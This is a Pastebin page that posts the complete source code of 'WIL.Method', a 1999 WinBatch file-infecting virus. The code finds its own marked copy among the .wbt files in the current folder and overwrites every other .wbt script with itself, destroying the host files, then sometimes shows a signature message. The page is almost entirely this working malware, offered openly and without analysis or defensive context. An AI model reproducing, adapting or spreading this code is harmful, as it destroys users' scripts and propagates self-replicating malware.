Advertisement
FlyFar

Virus.WBS.Method - First WinBatch Virus Ever! - Source Code

Jun 14th, 2023
1,951
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Winbatch 0.96 KB | Cybersecurity | 0 0
  1. ;METHOD
  2. ;WIL.Method: First-ever WinBatch virus
  3. ;by Runner, CopyRight 1999
  4. IntControl(29, @TAB, 0, 0, 0)
  5. ErrorMode(@OFF)
  6.  
  7. MyCode = ""
  8. AllWBT = FileItemize("*.wbt")
  9.        
  10. For i = 1 to ItemCount(AllWBT, @tab)
  11. OneWBT = ItemExtract(i, AllWBT, @tab)
  12.  
  13. fs=FileSize(OneWBT)
  14. MarkBuffer = BinaryAlloc(fs+100)
  15.  
  16. BinaryRead(MarkBuffer, OneWBT)
  17. If BinaryPeekStr( MarkBuffer, 0, 7) == ";METHOD" then
  18.  
  19. MyCode = OneWBT
  20. break
  21. End If
  22.  
  23. Next i
  24.  
  25. If MyCode != OneWBT Then EXIT
  26.  
  27. For w = 1 To ItemCount(AllWBT, @tab)
  28. OneWBT = ItemExtract(w, AllWBT, @tab)
  29.  
  30. If MyCode != OneWBT
  31.  
  32. virus = FileOpen(MyCode, "READ")
  33. host = FileOpen(OneWBT, "WRITE")
  34.  
  35. While @TRUE          
  36.         x = FileRead(virus)
  37.         If x == "*EOF*" Then Break
  38.         FileWrite(host, x)
  39. EndWhile
  40.  
  41. FileClose(host)
  42. FileClose(virus)
  43. End If
  44.  
  45. Next w
  46.  
  47. num = Random(10)
  48. If num == 1 Then Message("Method Virus by Runner","Method - First WinBatch virus ever, coded by Runner.")
  49. EXIT
  50.  
  51.  
  52.  
  53.  
Tags: virus winbatch
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement